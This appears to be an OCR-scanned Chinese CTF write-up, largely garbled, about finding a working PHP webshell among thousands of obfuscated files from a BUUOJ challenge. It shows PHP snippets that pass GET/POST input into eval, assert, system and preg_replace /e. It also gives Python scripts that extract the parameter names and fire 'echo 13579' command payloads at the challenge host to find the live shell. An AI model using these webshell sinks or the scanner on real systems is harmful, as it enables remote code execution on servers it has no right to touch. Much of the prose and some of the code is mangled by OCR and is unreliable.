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his PC » Local Disk (C) » Users * TuTuB * Downloads

Date modified

Mame Type Size
~ Today (1)
& www.iargz 2020/4/6 16:14 WinRAR FEGEM14E.. 40,333 KB
4oM, EMIR, —#FF, BT .
|@ www.tar.gz\src - TAR+GZIP [E953 44, B2V 93,825510 =5
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nl
L zZZW5U1aQRRK.php 45,998 PHP File 2019/5/23 ...
b zzt4yx¥_RMa.php 21272 ? PHPFile 2019/5/23 ...
L zzqrFRic3ia,php 32,161 ? PHPFile 2019/5/23 ..
1 ZZTHBITOsmK php 17,847 ? PHPFile 2019/5/23 ...
L 2750cetjKTd.php 38,230 ? PHPFile 2019/5/23 ..
' ZZTHHKFVmiR.php 34,653 ? PHPFile 2019/5/23 ...
L ZYVG_JdEa6K.php 37,461 ? PHPFile 2019/5/23 ...
1 ZyDZDrQLIEX.php 38,742 ? PHPFile 2019/5/23 ...
L ZYBEZKZ TIH.php 34333 ? PHPFile 2019/5/23 ...
1 ZxiRISEWBPH.php 35,746 ? PHPFile 2019/5/23 ...
| e ZxaswTNOCmx php 42,128 ? PHPFile 2019/5/23 ...
b ZXTKZEKABX6.php 39,140 ? PHPFile 2019/5/23 ..
1 2X4aUIUVsmU.php 42,195 ? PHPFile 2019/5/23 ...
b ZwOV9aHgXaZ.php 17,892 ? PHPFile 2019/5/23 ..
b ZwHERTUWa_php 49262 ? PHPFile 2019/5/23 ...
b ZWFHABIXW7a.php 19,812 ? PHPFile 2019/5/23 ..
] ZwEal3wDC02.php 30,082 ? PHPFile 2019/5/23 ...
49,256 ? PHPFile 2019/5/23 ..

1/ ZwbdKDSHISw.php
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[ ATOHPCFFZZo. phpkd |

1811 S$ZMFrTrfpZIn = array () ;ila

1812 S$SZMFrTrfpZIn[]= $gHWyhTBugHC;ild

1813 var dump ($ZMFrTrfpZzIn) ;N

1814 |SUd51 .= 'LE1GGdX';ild

1815 $xthz31iKDGvZ = array () ;i

1816 $xthz3iKDGvz[]= $VX Ltok; il

1817 var_ dump ($xthz3iKDGvz) ; il

1818 SHrVR7fQ = explode ('rFSCBE9MHO', S$HrVR7fQ) ;ild
1819 $zg7YMN = array () ;i

1820 $zg7YMN[]= $dylP63;ikd

1821 var dump ($zg7YMN) ; il

1822 |echo 'End of File';ild

1823 !

1800 1T o o EEAMMAFREEZTT, ERBEMET .

INT ~ = @& SOLBASICS- UNION BASED~ ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS+ LFI-

p
@ Lload URL [ 127.0.0.1/AIOHPCFFZ20.php
% splituRL

L Execute

[ postdata ] Referrer 4 OxHEX 3» &% %URL @» @ BASEcd 3B |:r:se-’:s:r:r:g fo replace ||.":1se-':re.:."ac:r:g string | Replace All 3 | ™

Parse error: syntax error, unexpected '?' in D:\Programs\PHPStudy\WWW\AIOHPcFFZ2o.php on line 12

ASET AR 12 BF 13 THH, BREIRRY.

L0 |print r(Smatch) ;indy
L1 |if ('MdhWORNHO' == '"xQOQRvWOQc"') il

P Teval($ POST[ 'MAhWORNHO'] 22 ' ') ,;ila
L3 [$DPtf = 'UJg6SX' ;s

JERR eval , At EEEE—Aif, HESMHE, X4 shell AAFIH. . .



REXERGIHAFRT T, AEET.

Array () string(9) "ymMptMHEd" string(4) "r6_w" gNHsRS59NP{Varray(1) { [0]=> string(7) "EL{ffOdW" } JH2Wd2LNXGmxEqGnepXBpqIBKkBERQZy P6array(1) { [0]=> string(2) "Kq"
‘Warning: assert(): assert($_GET['CWQUBpirg'] ??'"): " " failed in /var/www/html/CNh6qoLSvsm.php on line 123

Array () array(1) { [0]== string(4) "C6pF" } mLd9kv1IeEstring(8) "XBnI3F0J" byeH4XP{2rrEstring(3) "HOW" string(5) "O6Dwm" string(10) "TUGcY Jrelj" Array ( ) Array () Array () Gff
"dHMI" } array(l) { [0]== string(5) "A2kRB" } sUzGfZC3PkfVUATrray ( ) BBarray(1) { [0]== string(5) "yzrry" } Array () array(l) { [0]== string(10) "m2vKDjwq3c" } ZzVCOnLSfupstring
Nsbarray(1) { [0]== string(7) "vIOeZRq" } string(4) "YHIw" Array () Array () array(1) { [0]=> string(3) "GW3" } ELI7array(1) { [0]=> string(8) "zMj mb90" } string(5) "POTZ8" string(:
string(4) "waAO" array(1) { [0]== string(7) "hdpM40g" } Array ( ) Array () array(1) { [0]==> string(4) "Pv3r" } Array () YtjCrexwe7t_c6zFdArray ( ) string(7) "NKUtQp " End of File
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mUMEE , 4ET, WTRT, SBEAWLFKN shell , ZHHMCELFET

® assert
® eval
® exec

RIGXARENT system, WAMERAEBAHAMMEK), R HXOAT .

BERIBHEAN M, B $_GeT H#F $_PosT BHISE, RERZSE, AN echo 13579, WREREHFEEIRE] 13579 I, K
MR REAT I .

{?php

$str = "echo 13579;7;
eval ($str) ;

echo “"<hr>”;
system($str) ;

echo “"<hr>”;
exec($str) ;

echo “<hr>”";

assert($str) :

?>

[ postdata [] Referrer 4@ OxHEX X & %URL 2B &K BASEGY BB Insert string to replace ||m59.': replacing string Replace All 2 E

Parse error: syntax error, unexpected 'echo’ (T _ECHO), expecting ;' in D:\Programs\PHPStudy\WWW\test.php(9) : assert code on line 1

Catchable fatal error: assert(): Failure evaluating code: assert($str):"echo 13579;" in D:\Programs\PHPStudy\WWW\test.php on line 9

BT assert HHEMUSL, HRKMIER T, exec MARKEEN, AEE. MABRELA payload , FBRXFFRRAME, BRHELHR
T, HHe o o .

B—F, BEXHHE



import requests
import os
import re

file_path = "C:/Users/TuTuB/Downloads/src/"
phpfiles = os.listdir(file_path
i=20
for phpfile in phpfiles
print(phpfile

print (i
AR EIE T
Run: findshell
> _VFzGKK2ocg.php
_VIHFEZNcIJs.php
_. = _vJom51pkvY.php
- =+ _WIHALKIdBE.php
o & _XVEcpgwKNH.php
® _yJZmtUuSbD.php
_ZGkvIaCu8n.php
_Z1SEhoJo@T.php
3002

B, T, BERREY, XEBHIENT.

with open(phpFullPath, 'r') as txt
shell = txt.read
# print(shell)
# wordList = re.findall(regGetPost,shell) ZEZ¥, &EHMgetziZpost
wordList = [word[2:-2] for word in re.findall(regGetPost, shell # LIS
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V2LV 22 oca whw

DeMcscsp
YV8nqgJDhD
amQ2AQSPU
EMNPXS2A7
riZH5vvoY
ZCBPLk
whMgYch
Detx3g1SfCt

=, RZEER, BRXBEEREMH get i3 post KX 4y, EIEM post M.

for word in wordList:
url = www + phpfile + "?" + word + "=" + payload
data = word + "=" + payload
html = requests.post(url, headers=header, data=data)
i+=1
if "13579" in html.text:
print(phpfile + " is ok !" + word + " is ok")
flag = "flag"
print(i)
break
else:
print(word)
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[] Postdata [ ] Referrer 4™ OxHEX 3 & %URL B &X BASE64 3B Insert string to replace ||€nser[ replacing string | Replace All X !

429 Too Many Requests

openresty
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import requests
import os
import re
import time

www = "http://025afb55-2fd9-4616-9183-8f399e22727d.node3.buuoj.cn/"
payload = "echo 13579;"

file_path = "D:\\Programs\\PHPStudy\\WWW\\srctest\\"

phpfiles = os.listdir(file_path)

header = {'Content-Type': 'application/x-www-form-urlencoded’}

flag = ""

i=20

regGetPost = "\(.+\]"

for phpfile in phpfiles:
try:
print("\n", phpfile)
phpFullPath = file_path + phpfile
with open(phpFullPath, 'r') as txt:
shell = txt.read()
wordList = [word[2:-2] for word in re.findall(regGetPost, shell) ]
print(wordList)
for word in wordList:
url = www + phpfile + "?" + word + "=" + payload
data = word + "=" + payload
html

i+=1

requests.post(url, headers=header, data=data)

print('*', end="")
if "13579" in html.text:
print("\n" + phpfile + " is ok !" + word +
flag = 13579
break
if flag == 13579:
break

" is ok, —FEHT" + i +"K")

except Exception as e:
pass
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import requests
import os
import re

www = "http://025afb55-2fd9-4616-9183-8f399e22727d.node3.buuoj.cn/"
file_path = "D:\\Programs\\PHPStudy\\WWW\\srctest\\"

phpfiles = os.listdir(file_path)

header = {'Content-Type': 'application/x-www-form-urlencoded’}
flag = ""

i=20

regGetPost = "\w+\(.+\]"

for phpfile in phpfiles:
print("\n", phpfile)
phpFullPath = file_path + phpfile
try:
with open(phpFullPath, 'r') as txt:
shell = txt.read()
wordList = [word for word in re.findall(regGetPost, shell)]
#print(wordList)
for word in wordList:
if "eval" in word:
payload = "echo 13579;"
elif "assert" in word:
payload = 'var_dump("echo 13579")"'
else:
payload = "echo 13579"
if "$ GET['" in word :
a = word.index("$ GET['")
word = word[a+7:-2]
else:
a = word.index("$ POST['")
word = word[a+8:-2]
url = www + phpfile + "?" + word + "="
#print(url)
data = word +

+ payload
"=" + payload

html = requests.post(url, headers=header, data=data)
i+=1

print('*', end="")

if "13579" in html.text:

print("\n" + phpfile + " is ok !" + word + " is ok,
flag = 13579
break

if flag == 13579:

break
except Exception as e :
pass
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[ 'preg_replace("/zj10P0/e", $_POST[\'Pf_P3X6XN\']', "eval($_POST['_FxSV5_Gb']", "assert($_POST['uixSnSINu']", '

2k 3k 3k ok Sk ok Sk ok ok K Kk ok ok k ok

385vZghBnll_nhp
— e ana AP

['preg_replace("/ibRYm/e", $ GET[\'kUWyHpBkf\']', "system($_GET['G9elLS22CD']", "system($_GET['sfTscsGuh']", "e:
EEE 33

m g [ Yl

_30qgSq3dByu.php
["svstem($ GFTI'Al FrmPmVE'1". "assert($ POSTI'SCvX6hV i'1". "eval($ POSTI'OYARVFGAG'1". "eval($ GFTI'Ju6Kwl DAi
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